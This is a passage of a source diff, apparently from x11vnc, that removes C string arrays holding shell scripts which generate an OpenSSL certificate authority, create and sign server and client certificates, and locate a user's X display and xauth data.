-"x509_extensions = usr_cert # The extentions to add to the cert\n"
-"\n"
-"name_opt = ca_default # Subject Name options\n"
-"cert_opt = ca_default # Certificate field options\n"
-"\n"
-"default_days = 730 # how long to certify for\n"
-"default_crl_days= 30 # how long before next CRL\n"
-"default_md = md5 # which md to use.\n"
-"preserve = no # keep passed DN ordering\n"
-"\n"
-"policy = policy_match\n"
-"\n"
-"# For the CA policy\n"
-"[ policy_match ]\n"
-"countryName = match\n"
-"stateOrProvinceName = match\n"
-"organizationName = match\n"
-"organizationalUnitName = optional\n"
-"commonName = supplied\n"
-"emailAddress = optional\n"
-"\n"
-"[ policy_anything ]\n"
-"countryName = optional\n"
-"stateOrProvinceName = optional\n"
-"localityName = optional\n"
-"organizationName = optional\n"
-"organizationalUnitName = optional\n"
-"commonName = supplied\n"
-"emailAddress = optional\n"
-"\n"
-"####################################################################\n"
-"[ req ]\n"
-"default_bits = 2048\n"
-"default_keyfile = privkey.pem\n"
-"distinguished_name = req_distinguished_name\n"
-"attributes = req_attributes\n"
-"x509_extensions = v3_ca # The extentions to add to the self signed cert\n"
-"\n"
-"string_mask = nombstr\n"
-"\n"
-"# req_extensions = v3_req # The extensions to add to a certificate request\n"
-"\n"
-"[ req_distinguished_name ]\n"
-"countryName = Country Name (2 letter code)\n"
-"countryName_default = AU\n"
-"countryName_min = 2\n"
-"countryName_max = 2\n"
-"\n"
-"stateOrProvinceName = State or Province Name (full name)\n"
-"stateOrProvinceName_default = mystate\n"
-"\n"
-"localityName = Locality Name (eg, city)\n"
-"\n"
-"0.organizationName = Organization Name (eg, company)\n"
-"0.organizationName_default = x11vnc server CA\n"
-"\n"
-"organizationalUnitName = Organizational Unit Name (eg, section)\n"
-"\n"
-"commonName = Common Name (eg, YOUR name)\n"
-"commonName_default = %USER x11vnc server CA\n"
-"commonName_max = 64\n"
-"\n"
-"emailAddress = Email Address\n"
-"emailAddress_default = x11vnc@CA.nowhere\n"
-"emailAddress_max = 64\n"
-"\n"
-"[ req_attributes ]\n"
-"challengePassword = A challenge password\n"
-"challengePassword_min = 4\n"
-"challengePassword_max = 20\n"
-"\n"
-"unstructuredName = An optional company name\n"
-"\n"
-"[ usr_cert ]\n"
-"\n"
-"basicConstraints=CA:FALSE\n"
-"\n"
-"nsComment = \"OpenSSL Generated Certificate\"\n"
-"\n"
-"subjectKeyIdentifier=hash\n"
-"authorityKeyIdentifier=keyid,issuer:always\n"
-"\n"
-"[ v3_req ]\n"
-"\n"
-"basicConstraints = CA:FALSE\n"
-"keyUsage = nonRepudiation, digitalSignature, keyEncipherment\n"
-"\n"
-"[ v3_ca ]\n"
-"\n"
-"subjectKeyIdentifier=hash\n"
-"\n"
-"authorityKeyIdentifier=keyid:always,issuer:always\n"
-"\n"
-"basicConstraints = CA:true\n"
-"\n"
-"[ crl_ext ]\n"
-"\n"
-"authorityKeyIdentifier=keyid:always,issuer:always\n"
-"\n"
-"'\n"
-"selfcnf='\n"
-"####################################################################\n"
-"[ req ]\n"
-"default_bits = 2048\n"
-"encrypt_key = yes\n"
-"distinguished_name = req_distinguished_name\n"
-"x509_extensions = cert_type\n"
-"\n"
-"[ req_distinguished_name ]\n"
-"countryName = Country Name (2 letter code)\n"
-"countryName_default = AU\n"
-"countryName_min = 2\n"
-"countryName_max = 2\n"
-"\n"
-"stateOrProvinceName = State or Province Name (full name)\n"
-"stateOrProvinceName_default = mystate\n"
-"\n"
-"localityName = Locality Name (eg, city)\n"
-"\n"
-"0.organizationName = Organization Name (eg, company)\n"
-"0.organizationName_default = x11vnc server self-signed\n"
-"\n"
-"organizationalUnitName = Organizational Unit Name (eg, section)\n"
-"\n"
-"commonName = Common Name (eg, YOUR name)\n"
-"commonName_default = x11vnc server self-signed %NAME\n"
-"commonName_max = 64\n"
-"\n"
-"emailAddress = Email Address\n"
-"emailAddress_default = x11vnc@self-signed.nowhere\n"
-"emailAddress_max = 64\n"
-"\n"
-"[ cert_type ]\n"
-"nsCertType = server\n"
-"\n"
-"'\n"
-"echo \"$cnf\" | sed -e \"s/%USER/$USER/\" \\\n"
-" > \"$DIR/CA/ssl.cnf\" || exit 1\n"
-"echo \"$cnf\" | sed -e \"s/%USER *//\" -e 's/server CA/server %NAME/g' -e 's/@CA/@server/' \\\n"
-" > \"$DIR/CA/ssl.cnf.server\" || exit 1\n"
-"echo \"$cnf\" | sed -e \"s/%USER *//\" -e 's/server CA/client %NAME/g' -e 's/@CA/@client/' \\\n"
-" > \"$DIR/CA/ssl.cnf.client\" || exit 1\n"
-"\n"
-"echo \"$selfcnf\" > \"$DIR/CA/self.cnf.server\" || exit 1\n"
-"echo \"$selfcnf\" | sed -e 's/ server/ client/g' \\\n"
-" > \"$DIR/CA/self.cnf.client\" || exit 1\n"
-"\n"
-"cd \"$DIR\" || exit 1\n"
-"\n"
-"echo \"\"\n"
-"echo \"----------------------------------------------------------------------\"\n"
-"echo \"Generating your x11vnc CA (certificate authority) key and certificate:\"\n"
-"echo \"\"\n"
-"echo \"Please supply a passphrase and any other information you care to.\"\n"
-"echo \"----------------------------------------------------------------------\"\n"
-"echo \"\"\n"
-"\n"
-"req_args=$REQ_ARGS\n"
-"if echo \"$req_args\" | grep 'days' > /dev/null; then\n"
-" :\n"
-"else\n"
-" req_args=\"$req_args -days 730\"\n"
-"fi\n"
-"\n"
-"\"$OPENSSL\" req -config \"$DIR/CA/ssl.cnf\" -new -x509 -days 730 $req_args \\\n"
-" -keyout \"$DIR/CA/private/cakey.pem\" \\\n"
-" -out \"$DIR/CA/cacert.pem\"\n"
-"\n"
-"if [ $? != 0 ]; then\n"
-" echo \"openssl failed.\"\n"
-" exit 1\n"
-"fi\n"
-"\n"
-"chmod go-rwx \"$DIR/CA/private/cakey.pem\"\n"
-"\n"
-"echo \"\"\n"
-"echo \"----------------------------------------------------------------------\"\n"
-"echo \"Your public x11vnc CA cert is:\"\n"
-"echo \"\"\n"
-"echo \" $DIR/CA/cacert.pem\"\n"
-"echo \"\"\n"
-"echo \" It may be copied to other applications, e.g. Web browser, Java\"\n"
-"echo \" Applet keystore, or stunnel cfg, to use to verify signed server\"\n"
-"echo \" or client certs, etc.\"\n"
-"echo \"\"\n"
-"echo \"Your private x11vnc CA key is:\"\n"
-"echo \"\"\n"
-"echo \" $DIR/CA/private/cakey.pem\"\n"
-"echo \"\"\n"
-"echo \" It will be used to sign server or client certs, keep it secret.\"\n"
-"echo \"----------------------------------------------------------------------\"\n"
-"echo \"\"\n"
-"printf \"Press Enter to print the cacert.pem certificate to the screen: \"\n"
-"read x\n"
-"echo \"\"\n"
-"cat \"$DIR/CA/cacert.pem\"\n"
-;
-
-char genCert[] =
-"#!/bin/sh\n"
-"\n"
-"direrror() {\n"
-" echo \"\"\n"
-" echo \"You need first to run:\"\n"
-" echo \"\"\n"
-" if echo \"$DIR\" | grep '/\\.vnc/certs' > /dev/null; then\n"
-" echo \" x11vnc -sslGenCA\"\n"
-" else\n"
-" echo \" x11vnc -sslGenCA $DIR\"\n"
-" fi\n"
-" echo \"\"\n"
-" echo \"to create the CA cert file and other needed config files and directories.\"\n"
-" echo \"\"\n"
-" echo \"Then you can run: x11vnc -sslGenCert $type $name0\"\n"
-" echo \"\"\n"
-" if [ \"X$1\" != \"X\" ]; then\n"
-" echo \"(missing file/dir: $1)\"\n"
-" echo \"\"\n"
-" fi\n"
-" exit 1\n"
-"}\n"
-"\n"
-"make_HASH() {\n"
-" crt=\"$1\"\n"
-" remove=\"$2\"\n"
-" if [ ! -f \"$crt\" ]; then\n"
-" return\n"
-" fi\n"
-" dirhash=`dirname \"$crt\"`/HASH\n"
-" bashash=`basename \"$crt\"`\n"
-" if [ ! -d \"$dirhash\" ]; then\n"
-" return\n"
-" fi\n"
-" hash=`\"$OPENSSL\" x509 -hash -noout -in \"$crt\" 2>/dev/null | head -1`\n"
-" if [ \"X$hash\" != \"X\" ]; then\n"
-" for i in 0 1 2 3 4 5 6 7 8 9\n"
-" do\n"
-" lnk=\"$dirhash/$hash.$i\"\n"
-" if [ \"X$remove\" = \"X1\" ]; then\n"
-" if [ -h \"$lnk\" ]; then\n"
-" if cmp \"$lnk\" \"$crt\" > /dev/null 2>&1; then\n"
-" ls -l \"$lnk\"\n"
-" rm -i \"$lnk\"\n"
-" fi\n"
-" fi\n"
-" else\n"
-" if [ -h \"$lnk\" ]; then\n"
-" if [ ! -f \"$lnk\" ]; then\n"
-" rm -f \"$lnk\" 1>/dev/null 2>&1\n"
-" else\n"
-" continue\n"
-" fi\n"
-" fi\n"
-" if [ \"x$HASH_verbose\" = \"x1\" ]; then\n"
-" echo \"creating: $lnk -> ../$bashash\"\n"
-" fi\n"
-" ln -s \"../$bashash\" \"$lnk\"\n"
-" break\n"
-" fi\n"
-" done\n"
-" fi\n"
-"}\n"
-"\n"
-"create_key() {\n"
-" \n"
-" echo \"----------------------------------------------------------------------\"\n"
-" echo \"Creating new x11vnc certificate and key for name: $type $name0\"\n"
-" echo \"\"\n"
-"\n"
-" req_args=$REQ_ARGS\n"
-" if echo \"$req_args\" | grep 'days' > /dev/null; then\n"
-" :\n"
-" else\n"
-" req_args=\"$req_args -days 730\"\n"
-" fi\n"
-"\n"
-" cnf=\"$DIR/tmp/cnf.$$\"\n"
-" trap \"rm -f \\\"$cnf\\\"\" 0 1 2 15\n"
-"\n"
-" rm -f \"$DIR/$dest.key\" \"$DIR/$dest.crt\" \"$DIR/$dest.req\"\n"
-"\n"
-" if [ \"x$self\" = \"x1\" ]; then\n"
-" if [ ! -f \"$DIR/CA/self.cnf.$type\" ]; then\n"
-" direrror \"$DIR/CA/self.cnf.$type\"\n"
-" fi\n"
-" cat \"$DIR/CA/self.cnf.$type\" | sed -e \"s/%NAME/$name0/\" > \"$cnf\" || exit 1\n"
-" \"$OPENSSL\" req -config \"$cnf\" -nodes -new -newkey rsa:2048 -x509 $req_args \\\n"
-" -keyout \"$DIR/$dest.key\" \\\n"
-" -out \"$DIR/$dest.crt\"\n"
-" else\n"
-" if [ ! -f \"$DIR/CA/ssl.cnf.$type\" ]; then\n"
-" direrror \"$DIR/CA/ssl.cnf.$type\"\n"
-" fi\n"
-" cat \"$DIR/CA/ssl.cnf.$type\" | sed -e \"s/%NAME/$name0/\" > \"$cnf\" || exit 1\n"
-" \"$OPENSSL\" req -config \"$cnf\" -nodes -new -newkey rsa:2048 $req_args \\\n"
-" -keyout \"$DIR/$dest.key\" \\\n"
-" -out \"$DIR/$dest.req\"\n"
-" fi\n"
-" rc=$?\n"
-" if [ -f \"$DIR/$dest.key\" ]; then\n"
-" chmod go-rwx \"$DIR/$dest.key\"\n"
-" fi\n"
-"\n"
-"\n"
-"\n"
-" if [ $rc != 0 ]; then\n"
-" echo \"openssl 'req' command failed\"\n"
-" rm -f \"$DIR/$dest.key\" \"$DIR/$dest.crt\" \"$DIR/$dest.req\"\n"
-" exit 1\n"
-" fi\n"
-"}\n"
-"\n"
-"enc_key() {\n"
-" \n"
-" echo \"\"\n"
-" echo \"----------------------------------------------------------------------\"\n"
-" echo \"Do you want to protect the generated private key with a passphrase?\"\n"
-" echo \"Doing so will significantly decrease the chances someone could steal\"\n"
-" if [ \"x$type\" = \"xserver\" ]; then\n"
-" echo \"the key and pretend to be your x11vnc server. The downside is it is\"\n"
-" else\n"
-" echo \"the key and pretend to be your VNC client. The downside is it is\"\n"
-" fi\n"
-" echo \"inconvenient because you will need to supply the passphrase EVERY\"\n"
-" if [ \"x$type\" = \"xserver\" ]; then\n"
-" echo \"time you start x11vnc using this key.\"\n"
-" else\n"
-" echo \"time you start the VNC viewer SSL tunnel using this key.\"\n"
-" fi\n"
-" echo \"\"\n"
-" if [ \"X$GENCERT_NOPROMPT\" = \"X\" ]; then\n"
-" x=\"\"\n"
-" for tp in 1 2 3\n"
-" do\n"
-" printf \"Protect key with a passphrase? y/n \"\n"
-" read x\n"
-" x=`echo \"$x\" | tr 'A-Z' 'a-z' | sed -e 's/[ ]//g'`\n"
-" if [ \"X$x\" = \"Xy\" -o \"X$x\" = \"Xn\" ]; then\n"
-" break;\n"
-" else \n"
-" echo \"Please reply with \\\"y\\\" or \\\"n\\\".\"\n"
-" fi\n"
-" done\n"
-" if [ \"X$x\" != \"Xy\" -a \"X$x\" != \"Xn\" ]; then\n"
-" echo \"Assuming reply \\\"n\\\".\"\n"
-" x=n\n"
-" fi\n"
-" else\n"
-" echo \"NOT protecting private key with passphrase.\"\n"
-" x=n\n"
-" fi\n"
-" estr=\" *unencrypted*\"\n"
-" if [ \"x$ENCRYPT_ONLY\" != \"x\" ]; then\n"
-" target=\"$ENCRYPT_ONLY\"\n"
-" else\n"
-" target=\"$DIR/$dest.key\"\n"
-" bdir=`dirname \"$DIR/$dest.key\"`\n"
-" if [ ! -d \"$bdir\" ]; then\n"
-" direrror \"$bdir\"\n"
-" fi\n"
-" fi\n"
-" if [ \"x$x\" != \"xn\" ]; then\n"
-" \"$OPENSSL\" rsa -in \"$target\" -des3 -out \"$target\"\n"
-" if [ $? != 0 ]; then\n"
-" echo \"openssl 'rsa' command failed\"\n"
-" rm -f \"$DIR/$dest.key\" \"$DIR/$dest.crt\" \"$DIR/$dest.req\"\n"
-" exit 1\n"
-" fi\n"
-" estr=\" encrypted\"\n"
-" fi\n"
-" echo \"\"\n"
-"}\n"
-"\n"
-"sign_key() {\n"
-" cd \"$DIR\" || exit 1\n"
-"\n"
-" if [ \"x$self\" = \"x1\" ]; then\n"
-" :\n"
-" else\n"
-" if echo \"$name0\" | grep '^req:' > /dev/null; then\n"
-" echo \"\"\n"
-" echo \"----------------------------------------------------------------------\"\n"
-" echo \"Your x11vnc $type certificate request is:\"\n"
-" echo \"\"\n"
-" echo \" $DIR/$dest.req\"\n"
-" echo \"\"\n"
-" echo \" It may be sent to an external CA for signing, afterward you can\"\n"
-" echo \" save the cert they send you in:\"\n"
-" echo \"\"\n"
-" echo \" $DIR/$dest.crt\"\n"
-" echo \"\"\n"
-" echo \"Your$estr private x11vnc $type key is:\"\n"
-" echo \"\"\n"
-" echo \" $DIR/$dest.key\"\n"
-" echo \"\"\n"
-" echo \" You should combine it and the received cert in the file:\"\n"
-" echo \"\"\n"
-" echo \" $DIR/$dest.pem\"\n"
-" echo \"\"\n"
-" echo \" It will be needed by applications to identify themselves.\"\n"
-" echo \" This file should be kept secret.\"\n"
-" echo \"----------------------------------------------------------------------\"\n"
-" echo \"\"\n"
-" if [ \"X$GENCERT_NOPROMPT\" = \"X\" ]; then\n"
-" printf \"Press Enter to print the $dest.req cert request to the screen: \"\n"
-" read x\n"
-" fi\n"
-" echo \"\"\n"
-" cat \"$DIR/$dest.req\"\n"
-" exit 0\n"
-" fi\n"
-" echo \"\"\n"
-" echo \"\"\n"
-" echo \"----------------------------------------------------------------------\"\n"
-" echo \"Now signing the new key with CA private key. You will need to supply\"\n"
-" echo \"the CA key passphrase and reply \\\"y\\\" to sign and commit the key.\"\n"
-" echo \"\"\n"
-" \"$OPENSSL\" ca -config \"$cnf\" -policy policy_anything -notext \\\n"
-" -in \"$DIR/$dest.req\" \\\n"
-" -out \"$DIR/$dest.crt\"\n"
-" if [ $? != 0 ]; then\n"
-" echo \"\"\n"
-" echo \"openssl 'ca' command failed\"\n"
-" echo \"\"\n"
-" echo \" You may have a duplicate DN entry for this name in:\"\n"
-" echo \"\"\n"
-" echo \" $DIR/CA/index.txt\"\n"
-" echo \"\"\n"
-" echo \" remove the duplicate in that file and try again.\"\n"
-" echo \"\"\n"
-" rm -f \"$DIR/$dest.key\" \"$DIR/$dest.crt\" \"$DIR/$dest.req\"\n"
-" exit 1\n"
-" fi\n"
-" fi\n"
-"\n"
-" cat \"$DIR/$dest.key\" \"$DIR/$dest.crt\" \\\n"
-" > \"$DIR/$dest.pem\" || exit 1 \n"
-"\n"
-" make_HASH \"$DIR/$dest.crt\" 0\n"
-"\n"
-" rm -f \"$DIR/$dest.key\" \"$DIR/$dest.req\" || exit 1\n"
-" chmod go-rwx \"$DIR/$dest.pem\" || exit 1\n"
-"\n"
-" if [ \"x$type\" = \"xserver\" -o \"x$type\" = \"xclient\" ]; then\n"
-" echo \"\"\n"
-" echo \"----------------------------------------------------------------------\"\n"
-" echo \"Your public x11vnc $type cert is:\"\n"
-" echo \"\"\n"
-" echo \" $DIR/$dest.crt\"\n"
-" echo \"\"\n"
-" echo \" It may be copied to other machines / applications to be used for\"\n"
-" echo \" authentication. However, since it is signed with the x11vnc CA\"\n"
-" echo \" key, all the applications need is the x11vnc CA certificate.\"\n"
-" echo \"\"\n"
-" echo \"Your$estr private x11vnc $type key is:\"\n"
-" echo \"\"\n"
-" echo \" $DIR/$dest.pem\"\n"
-" echo \"\"\n"
-" echo \" It will be needed by applications to identify themselves.\"\n"
-" echo \" This file should be kept secret.\"\n"
-" echo \"----------------------------------------------------------------------\"\n"
-" echo \"\"\n"
-" fi\n"
-"\n"
-" if [ \"X$GENCERT_NOPROMPT\" = \"X\" ]; then\n"
-" printf \"Press Enter to print the $dest.crt certificate to the screen: \"\n"
-" read x\n"
-" fi\n"
-" echo \"\"\n"
-" cat \"$DIR/$dest.crt\"\n"
-"}\n"
-"\n"
-"DIR=$BASE_DIR\n"
-"if [ \"x$DIR\" = \"x\" ]; then\n"
-" DIR=\"$HOME/dotkjr_vnc/certs\"\n"
-"fi\n"
-"if echo \"$DIR\" | grep '^/' > /dev/null; then\n"
-" :\n"
-"else\n"
-" DIR=\"`pwd`/$DIR\"\n"
-"fi\n"
-"\n"
-"if [ \"x$HASHON\" != \"x\" ]; then\n"
-" for dir in \"$DIR/HASH\" \"$DIR/clients/HASH\"\n"
-" do\n"
-" if [ -d \"$dir\" ]; then\n"
-" rm -rf \"$dir\"\n"
-" fi\n"
-" done\n"
-" dir=\"$DIR/HASH\"\n"
-" mkdir -p \"$dir\" || exit 1\n"
-" dir=\"$DIR/clients/HASH\"\n"
-" mkdir -p \"$dir\" || exit 1\n"
-" HASH_verbose=1\n"
-" for f in \"$DIR\"/*.crt \"$DIR\"/clients/*.crt\n"
-" do\n"
-" if [ -f \"$f\" ]; then\n"
-" make_HASH \"$f\" 0\n"
-" fi\n"
-" done\n"
-" exit\n"
-"fi\n"
-"if [ \"x$HASHOFF\" != \"x\" ]; then\n"
-" dir=\"$DIR/HASH\"\n"
-" for dir in \"$DIR/HASH\" \"$DIR/clients/HASH\"\n"
-" do\n"
-" if [ -d \"$dir\" ]; then\n"
-" for f in \"$dir\"/*\n"
-" do\n"
-" if [ -f \"$f\" ]; then\n"
-" echo \"deleting: $f\"\n"
-" rm -f \"$f\"\n"
-" fi\n"
-" done\n"
-" rm -rf \"$dir\"\n"
-" fi\n"
-" done\n"
-" exit\n"
-"fi\n"
-"\n"
-"PATH=/usr/bin:/bin:/usr/sbin:$PATH; export PATH\n"
-"if [ \"x$OPENSSL\" = \"x\" ]; then\n"
-" OPENSSL=\"openssl\"\n"
-"fi\n"
-"\n"
-"type \"$OPENSSL\" > /dev/null || exit 1\n"
-"\n"
-"self=\"\"\n"
-"if [ \"x$SELF\" != \"x\" ]; then\n"
-" self=1\n"
-"elif [ \"x$1\" = \"x-self\" ]; then\n"
-" shift\n"
-" self=1\n"
-"fi\n"
-"\n"
-"if [ \"x$TYPE\" != \"x\" ]; then\n"
-" type=\"$TYPE\"\n"
-"else\n"
-" if [ \"X$1\" != \"X\" ]; then\n"
-" type=\"$1\"\n"
-" shift\n"
-" fi\n"
-"fi\n"
-"if [ \"x$NAME\" != \"x\" ]; then\n"
-" name=\"$NAME\"\n"
-"else\n"
-" if [ \"X$1\" != \"X\" ]; then\n"
-" name=\"$1\"\n"
-" shift\n"
-" fi\n"
-"fi\n"
-"\n"
-"if echo \"$name\" | grep '^self:' > /dev/null; then\n"
-" self=1\n"
-"fi\n"
-"\n"
-"if [ \"x$type\" = \"xserver\" ]; then\n"
-" name0=\"$name\"\n"
-" if echo \"$name\" | grep '^-' > /dev/null; then\n"
-" :\n"
-" elif [ \"x$name\" != \"x\" ]; then\n"
-" name=\"-$name\";\n"
-" fi\n"
-" dest=\"server$name\"\n"
-"elif [ \"x$type\" = \"xclient\" ]; then\n"
-" if [ \"x$name\" = \"x\" ]; then\n"
-" name=\"nobody\"\n"
-" fi\n"
-" name0=\"$name\"\n"
-" dest=\"clients/$name\"\n"
-"else\n"
-" exit 1\n"
-"fi\n"
-"\n"
-"#set -xv\n"
-"\n"
-"if [ \"x$INFO_ONLY\" != \"x\" ]; then\n"
-" echo \"\"\n"
-" echo \"VNC Certificate file:\"\n"
-" echo \" $INFO_ONLY\"\n"
-" echo \"\"\n"
-" \"$OPENSSL\" x509 -text -in \"$INFO_ONLY\"\n"
-" exit \n"
-"elif [ \"x$DELETE_ONLY\" != \"x\" ]; then\n"
-" echo \"\"\n"
-" echo \"VNC Certificate file:\"\n"
-" echo \" $DELETE_ONLY\"\n"
-" echo \"\"\n"
-" \n"
-" base=`echo \"$DELETE_ONLY\" | sed -e 's/\\....$//'`\n"
-" for suff in crt pem key req\n"
-" do\n"
-" try=\"$base.$suff\"\n"
-" if [ -f \"$try\" ]; then\n"
-" make_HASH \"$try\" 1\n"
-" rm -i \"$try\"\n"
-" fi\n"
-" done\n"
-" if echo \"$base\" | grep 'CA/cacert$' > /dev/null; then\n"
-" base2=`echo \"$base\" | sed -e 's,cacert$,private/cakey,'`\n"
-" else\n"
-" echo \"\"\n"
-" exit\n"
-" fi\n"
-" echo \"\"\n"
-" for suff in crt pem key req\n"
-" do\n"
-" try=\"$base2.$suff\"\n"
-" if [ -f \"$try\" ]; then\n"
-" make_HASH \"$try\" 1\n"
-" rm -i \"$try\"\n"
-" fi\n"
-" done\n"
-" echo \"\"\n"
-" exit \n"
-"elif [ \"x$ENCRYPT_ONLY\" != \"x\" ]; then\n"
-" if [ \"x$type\" = \"x\" ]; then\n"
-" type=\"server\"\n"
-" fi\n"
-" echo \"\"\n"
-" echo \"Key PEM file:\"\n"
-" echo \" $ENCRYPT_ONLY\"\n"
-" enc_key\n"
-" exit\n"
-"fi\n"
-"\n"
-"if [ ! -d \"$DIR/tmp\" ]; then\n"
-" direrror \"$DIR/tmp\"\n"
-"fi\n"
-"bdir=`dirname \"$DIR/$dest.key\"`\n"
-"if [ ! -d \"$bdir\" ]; then\n"
-" direrror \"$bdir\"\n"
-"fi\n"
-"if [ ! -f \"$DIR/CA/cacert.pem\" ]; then\n"
-" direrror \"$DIR/CA/cacert.pem\"\n"
-"fi\n"
-"\n"
-"create_key\n"
-"enc_key\n"
-"sign_key\n"
-;
-
-char find_display[] =
-"#!/bin/sh\n"
-"#\n"
-"# Script for use in -display WAIT:cmd=FINDDISPLAY -unixpw mode.\n"
-"# Attempts to find 1) DISPLAY and 2) XAUTH data for the user and\n"
-"# returns them to caller.\n"
-"#\n"
-"# The idea is this script is run via su - user -c ... and returns\n"
-"# display + xauth info to caller (x11vnc running as root or nobody).\n"
-"# x11vnc then uses the info to open the display.\n"
-"#\n"
-"# If not called with -unixpw, root, etc. uses current $USER.\n"
-"\n"
-"#FIND_DISPLAY_OUTPUT=/tmp/fdo.$USER.txt\n"
-"\n"
-"if [ \"X$FIND_DISPLAY_OUTPUT\" != \"X\" ]; then\n"
-" if [ \"X$FIND_DISPLAY_EXEC\" = \"X\" ]; then\n"
-" FIND_DISPLAY_EXEC=1\n"
-" export FIND_DISPLAY_EXEC\n"
-" # we rerun ourselves with verbose output to a file:\n"
-" #\n"
-" if [ \"X$FIND_DISPLAY_OUTPUT\" != \"X\" ]; then\n"
-" /bin/sh $0 \"$@\" 2> $FIND_DISPLAY_OUTPUT\n"
-" else\n"
-" /bin/sh $0 \"$@\" 2> /dev/null\n"
-" fi\n"
-" exit $?\n"
-" fi\n"
-"fi\n"
-"\n"
-"if [ \"X$FIND_DISPLAY_OUTPUT\" != \"X\" ]; then\n"
-" # turn on verbose output\n"
-" set -xv\n"
-"fi\n"
-"if [ \"X$FIND_DISPLAY_DEBUG\" != \"X\" ]; then\n"
-" # print environment and turn on verbose output\n"
-" env\n"
-" set -xv\n"
-"fi\n"
-"\n"
-"if [ \"X$X11VNC_SKIP_DISPLAY\" = \"Xall\" ]; then\n"
-" exit 1\n"
-"fi\n"
-"\n"
-"# Set PATH to pick up utilities we use below.\n"
-"PATH=$PATH:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin/X11:/usr/openwin/bin:/usr/ucb\n"
-"export PATH\n"
-"\n"
-"# This is to try to trick ps(1) into writing wide lines: \n"
-"COLUMNS=256\n"
-"export COLUMNS\n"
-"\n"
-"# -n means no xauth, -f prescribes file to use.\n"
-"showxauth=1\n"
-"if [ \"X$1\" = \"X-n\" ]; then\n"
-" showxauth=\"\"\n"
-" shift\n"
-"fi\n"
-"if [ \"X$FIND_DISPLAY_NO_SHOW_XAUTH\" != \"X\" ]; then\n"
-" showxauth=\"\"\n"
-"fi\n"
-"\n"
-"# -f means use this xauthority file:\n"
-"if [ \"X$1\" = \"X-f\" ]; then\n"
-" shift\n"
-" if [ ! -r $1 ]; then\n"
-" echo \"\"\n"
-" exit 1\n"
-" fi\n"
-" export XAUTHORITY=\"$1\"\n"
-" shift\n"
-"fi\n"
-"\n"
-"# we need to set user:\n"
-"#\n"
-"user=\"$1\" # cmd line arg takes precedence\n"
-"if [ \"X$user\" = \"X\" ]; then\n"
-" user=$X11VNC_USER # then X11VNC_USER\n"
-"fi\n"
-"if [ \"X$user\" = \"X\" ]; then\n"
-" user=$USER # then USER\n"
-"fi\n"
-"if [ \"X$user\" = \"X\" ]; then\n"
-" user=$LOGNAME # then LOGNAME\n"
-"fi\n"
-"if [ \"X$user\" = \"X\" ]; then\n"
-" user=`whoami 2>/dev/null` # desperation whoami\n"
-"fi\n"
-"if [ \"X$user\" = \"X\" ]; then\n"
-" echo \"\" # failure\n"
-" exit 1\n"
-"fi\n"
-"\n"
-"LC_ALL=C\n"
-"export LC_ALL\n"
-"\n"
-"# util to try to match a display with a Linux VT and print\n"
-"# disp,VT=... etc. Otherwise just print out display.\n"
-"#\n"
-"prdpy () {\n"
-" d1=$1\n"
-" chvt0=\"\"\n"
-" if [ \"X$FIND_DISPLAY_NO_VT_FIND\" != \"X\" ]; then\n"
-" :\n"
-" # we can only do chvt on Linux:\n"
-" elif [ \"X$uname\" = \"XLinux\" ]; then\n"
-" d2=$d1\n"
-" d3=`echo \"$d2\" | sed -e 's/^.*:/:/' -e 's/\\..*$//'`\n"
-" d4=\"($d2|$d3)\"\n"
-"\n"
-" # vt is usually in X server line:\n"
-" #\n"
-" ps_tmp=`ps wwaux | grep X`\n"
-" vt=`echo \"$ps_tmp\" | grep X | egrep -v 'startx|xinit' | egrep \" $d4 \" | egrep ' vt([789]|[1-9][0-9][0-9]*) ' | grep -v grep | head -n 1`\n"
-"\n"
-" if [ \"X$vt\" != \"X\" ]; then\n"
-" # strip it out and add it.\n"
-" vt=`echo \"$vt\" | sed -e 's/^.* vt\\([0-9][0-9]*\\) .*$/\\1/'`\n"
-" if echo \"$vt\" | grep '^[0-9][0-9]*$' > /dev/null; then\n"
-" chvt0=\",VT=$vt\"\n"
-" fi\n"
-" else\n"
-" # otherwise look for tty:\n"
-" vt=`echo \"$ps_tmp\" | grep X | egrep \" $d4 \" | egrep ' tty([789]|[1-9][0-9][0-9]*) ' | grep -v grep | head -n 1`\n"
-" if [ \"X$vt\" != \"X\" ]; then\n"
-" vt=`echo \"$vt\" | sed -e 's/^.* tty\\([0-9][0-9]*\\) .*$/\\1/'`\n"
-" if echo \"$vt\" | grep '^[0-9][0-9]*$' > /dev/null; then\n"
-" chvt0=\",VT=$vt\"\n"
-" fi\n"
-" else\n"
-" # otherwise try lsof:\n"
-" pvt=`echo \"$ps_tmp\" | grep X | egrep -v 'startx|xinit' | egrep \" $d4 \" | head -n 1 | awk '{print $2}'`\n"
-" if [ \"X$FIND_DISPLAY_NO_LSOF\" != \"X\" ]; then\n"
-" if [ \"X$pvt\" != \"X\" ]; then\n"
-" chvt0=\",XPID=$pvt\"\n"
-" fi\n"
-" elif [ \"X$pvt\" != \"X\" ]; then\n"
-" vt=`lsof -b -p \"$pvt\" 2>/dev/null | egrep '/dev/tty([789]|[1-9][0-9][0-9]*)$' | grep -v grep | head -n 1 | awk '{print $NF}' | sed -e 's,/dev/tty,,'`\n"
-" if echo \"$vt\" | grep '^[0-9][0-9]*$' > /dev/null; then\n"
-" chvt0=\",VT=$vt\"\n"
-" else\n"
-" # if this fails, at least tell them the XPID:\n"
-" chvt0=\",XPID=$pvt\"\n"
-" fi\n"
-" fi\n"
-" fi\n"
-" fi\n"
-" fi\n"
-"\n"
-" # return the string, possibly with ,VT=... appended:\n"
-" #\n"
-" echo \"$d1$chvt0\"\n"
-"}\n"
-"\n"
-"# save uname, netstat, and ps output:\n"
-"uname=`uname`\n"
-"is_bsd=\"\"\n"
-"if echo \"$uname\" | grep -i bsd > /dev/null; then\n"
-" is_bsd=1\n"
-"fi\n"
-"\n"
-"if [ \"X$uname\" = \"XDarwin\" ]; then\n"
-" psout=`ps aux 2>/dev/null | grep -wv PID | grep -v grep`\n"
-"elif [ \"X$uname\" = \"XLinux\" -o \"X$is_bsd\" = \"X1\" ]; then\n"
-" psout=`ps wwaux 2>/dev/null | grep -wv PID | grep -v grep`\n"
-"elif [ \"X$uname\" = \"XSunOS\" -a -x /usr/ucb/ps ]; then\n"
-" psout=`/usr/ucb/ps wwaux 2>/dev/null | grep -wv PID | grep -v grep`\n"
-"else\n"
-" psout=`ps -ef 2>/dev/null | grep -wv PID | grep -v grep`\n"
-"fi\n"
-"pslist=`echo \"$psout\" | awk '{print $2}'`\n"
-"\n"
-"nsout=`netstat -an`\n"
-"\n"
-"rchk() {\n"
-" rr=rr \n"
-"}\n"
-"\n"
